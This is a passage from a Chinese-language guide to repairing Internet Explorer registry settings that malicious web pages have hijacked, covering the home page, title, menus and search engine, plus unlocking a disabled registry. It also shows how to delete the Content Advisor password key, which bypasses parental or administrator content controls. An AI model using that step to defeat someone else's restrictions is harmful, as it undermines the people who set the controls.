(1) 在Windows启动后，点击“开始”→“运行”菜单项，在“打开”栏中键入regedit，然后按“确定”键；

(2) 展开注册表到：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下，在右半部分窗口中找到串值“Window Title”，将该串值删除即可，或将Window Title的键值改为“IE浏览器”等你喜欢的名字。

(3) 同理，展开注册表到：

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main

然后按(2)中所述方法处理。

(4) 退出注册表编辑器，重新启动计算机，运行IE，你会发现困扰你的问题被解决了。

3．IE分级审查密码的清除

(1) 打开“开始”菜单，单击“运行”，在运行框中输入regedit命令(这是打开注册表编辑表的命令)。

(2) 在注册表编辑器中有5个主要的键值，请您按照下面顺序一步一步打开下面的文件(在所指的文件夹上双击或单击在文件夹前面的十字符号)。

(3) 具体顺序是：

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ratings

在Ratings文件夹后会看到在右面的窗口中有key键值，直接在这个键上点右键，之后选“删除”，然后关闭注册表编辑器即可。

下面的这个图是最后一个文件夹及其右面的提示，只要将上面显示的key键删除也就可以清除IE分级审查的密码了。如图1所示。

4．篡改IE的默认页

具体说就是以下注册表项被修改：

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Default_Page_URL

“Default_Page_URL”这个子键的键值即起始页的默认页。

图 1

解决办法：

运行注册表编辑器，然后展开上述子键，将“Default_Page_URL”子键键值中的那些篡改网站的网址改掉就行了，或者将其设置为IE的默认值。

5．修复被锁定的注册表

可以自己动手制作一个解除注册表锁定的工具，就是用记事本编辑一个任意名字的.reg文件，比如recover.reg，内容如下：

窗体顶端

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]

"DisableRegistryTools"=dword:00000000

窗体底端

要特别注意的是：如果用这个方法制作解除注册表锁定的工具，一定要严格按照上面的书写格式进行，不能遗漏更不能修改（其实你只需将上述内容“复制”、“粘贴”到你机器记事本中即可）；完成上述工作后，点击记事本文件菜单中的“另存为”项，文件名可以随意，但文件扩展名必须为.reg（切记），然后点击“保存”。这样一个注册表解锁工具就制作完成了，之后只须双击生成的工具图标，将会提示你是否将这个信息添加进注册表，你要点击“是”，随后系统提示信息已成功输入注册表，再点击“确定”即可将注册表解锁了。

6．修改IE浏览器缺省主页，并且锁定设置项，禁止用户更改

主要是修改了注册表中IE设置的下面这些键值(DWORD值为1时为不可选)：

```
HKEY_CURRENT_USER\Software\Policies\
Microsoft\Internet Explorer\Control Panel
"Settings"=dword:1
HKEY_CURRENT_USER\Software\Policies\
Microsoft\Internet Explorer\Control Panel
"Links"=dword:1
HKEY_CURRENT_USER\Software\Policies\
Microsoft\Internet Explorer\Control Panel
"SecAddSites"=dword:1
```

解决办法：上面这些DWORD值改为“0”即可恢复功能。

7．IE的默认首页灰色按钮不可选

这是由于注册表HKEY_USERS\.DEFAULT\ Software\Policies\Microsoft\Internet Explorer\Control Panel下的DWORD值“homepage”的键值被修改的缘故。原来的键值为“0”，被修改后为“1”（即为灰色不可选状态）。

解决办法：将“homepage”的键值改为“0”即可。

8．IE右键菜单被修改

受到修改的注册表项目为：

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt

在该项下被新建了网页的广告信息，并由此在IE右键菜单中出现。

解决办法：

打开注册标编辑器，找到：

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt

删除相关的广告条文即可，注意不要把下载软件FlashGet和Netants也删除掉，这两个可是“正常”的，除非你不想在IE的右键菜单中见到它们。

9．IE默认搜索引擎被修改

出现这种现象的原因是以下注册表被修改：

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\CustomizeSearch